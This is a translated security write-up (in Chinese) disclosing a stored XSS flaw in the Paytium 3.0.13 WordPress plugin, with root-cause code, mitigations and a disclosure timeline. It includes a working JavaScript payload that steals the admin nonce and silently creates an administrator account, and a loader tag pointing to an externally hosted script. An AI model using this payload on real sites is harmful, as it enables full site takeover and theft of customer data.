Paytium 3.0.13 WordPress插件中的存储型XSS漏洞
概念验证
背景
WordPress目前拥有60%的市场份额,是最常用的内容管理系统。开箱即用的WordPress只是一个博客平台,但通过安装插件,可以将其转换为网店、众筹平台甚至读心器。
任何人都可以创建和发布WordPress插件,没有质量控制,只有其他用户的插件评论。同时,已安装的WordPress插件中的错误可能导致很多麻烦:客户数据可能被盗,甚至可能成为网站的管理员。
Paytium WordPress插件
我有时会接受朋友的挑战来测试他们网站的安全性。其中一个朋友有一个销售在线培训课程的网站。这是一个简单的WordPress网站,只有订阅者可以访问某些内容。她使用名为Paytium的插件来接收这些订阅者的在线支付。
Paytium允许您在WordPress页面中插入支付表单:简单的捐赠表单或包含客户姓名和电子邮件地址的更扩展的表单。在撰写本文时(2019年9月),它约有3,000多次安装。
存储型XSS
我首先尝试在姓名字段中输入一些HTML,看看是否会被渲染。
如果我能够向此字段注入HTML,那么当网站所有者看到包含我操纵名称的记录时,它可能在WordPress管理员后端执行。
让我们尝试在姓名字段中加载图像:
Jonathan Bouman的概念验证 <img src="https://i.imgur.com/9eNikWc.jpg" alt="你找到了waldo">
HTML注入是可能的,我们称之为存储型XSS。
糟糕,它起作用了。输入未经过正确验证,因此我们能够添加自己的HTML内容。我们在WordPress后端获得了认证的存储型XSS!
然而,Paytium插件还会向攻击者发送公共发票链接(发票ID经过哈希处理)。结果是公共存储型XSS。
漏洞代码
由于(免费)Paytium插件可供我们使用,我们能够识别漏洞代码。经过几分钟的搜索,我们发现了一个名为get_field_data_html()的函数。它回显存储的数据,未应用HTML转义。此代码被WordPress后端用于显示订单概览。
一个不转义HTML值的echo。
从存储型XSS到完全控制WordPress
如果我们能静默添加一个具有预定义用户名和密码的新管理员用户呢?好主意!
WordPress有一个特殊页面,其中包含一个表单,允许管理员邀请新用户并指定他们的角色。
添加新管理员用户。
此表单受nonce保护。Nonce是一个带有秘密值的隐藏参数,由浏览器发送到服务器。服务器使用它来验证特定请求是否确实来自原始表单,否则恶意网站可能代表受害者强制提交表单;这是一种CSRF攻击。
服务器将此隐藏nonce添加到它呈现的每个表单中。外部恶意网站无法恢复此nonce值,默认情况下浏览器不允许一个域查看另一个域的HTML内容,因此没有Nonce,我们无法提交表单。
创建用户表单的nonce示例。
然而,使用javascript,我们能够请求来自同一域的页面。由于我们在受害者的域中有一个存储型XSS错误,这意味着我们能够请求user-new.php页面并查看HTML响应。因此,我们能够提取Nonce值并使用我们预定义的登录详细信息提交user-new.php表单。
Payload
var ajaxRequest = new XMLHttpRequest,requestURL = "/wp-admin/user-new.php",nonceRegex = /ser" value="([^"]*?)"/g;
ajaxRequest.open("GET", requestURL, !1),
ajaxRequest.send();
var nonceMatch = nonceRegex.exec(ajaxRequest.responseText),nonce = nonceMatch[1],params = "action=createuser&_wpnonce_create-user=" + nonce + "&user_login=joax&email=attacker@email.com&pass1=helloworld123&pass2=helloworld123&role=administrator";
(ajaxRequest = new XMLHttpRequest).open("POST", requestURL, !0),
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
ajaxRequest.send(params);
Payload包含两个阶段:
- 请求user-new.php页面并使用正则表达式提取nonce值。
- 向我们预定义的登录详细信息和来自步骤1的nonce的user-new.php页面提交POST请求。
短域名是必须的
您可以通过将脚本直接放在<script></script>标签之间的姓名字段中来加载此脚本。但大多数字段有最大字符数限制或不允许特殊字符。
我的建议是将payload放在一个文件(比如1.js)中,并将其托管在互联网上的短域上。越短越好,我们希望避免表单中的任何字符限制。因此,为自己获取一个3或4个字符长的域名并上传payload!
当您将其上传到外部域时,请确保它支持HTTPS,以避免浏览器有关“不安全内容”的任何警告。
最终Payload
<script src=//short.domain/1.js></script>
结论
由于Paytium插件不正确的用户输入验证,我们能够将javascript注入WordPress后端。任何加载此javascript的WordPress管理员将自动添加一个具有我们预定义凭据的新管理员用户。这导致完全控制WordPress。此外,我们能够通过未经认证的发票URL查看存储型XSS payload;对钓鱼者来说非常完美。
解决方案
- WordPress开箱即用地支持用户输入验证;https://codex.wordpress.org/Validating_Sanitizing_and_Escaping_User_Data。这允许轻松呈现用户输入并避免常见的HTML注入。
- 此外,WordPress应要求管理员在执行重要操作之前手动输入密码。考虑在允许添加新管理员或安装插件之前输入密码提示。另一个解决方案可以是不同的访问级别,只想查看新订单?使用没有超级权限但仅够查看订单的用户登录。有关更多信息,请参见角色和能力。
奖励
无
时间线
- 31-07-19 发现初始错误
- 04-09-19 撰写此报告并通过电子邮件通知Paytium
- 05-09-19 Paytium请求更多详细信息
- 06-09-19 Paytium发布插件更新,未提及安全修复
- 07-09-19 Paytium发布插件更新,未提及安全修复
- 28-09-19 发现未经认证的存储型XSS错误,更新报告并通过电子邮件发送给Paytium
- 01-10-19 Paytium回复报告评论。Paytium通知我他们正在准备安全修复,将在本周晚些时候更新状态
- 04-10-19 添加了关于WordPress中角色和能力功能的部分,添加了为特殊操作(如添加用户和安装插件)引入提示屏幕/手动输入的解决方案
- 07-10-19 Paytium发布修复并通过电子邮件通知其客户
- 12-05-20 报告发布
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
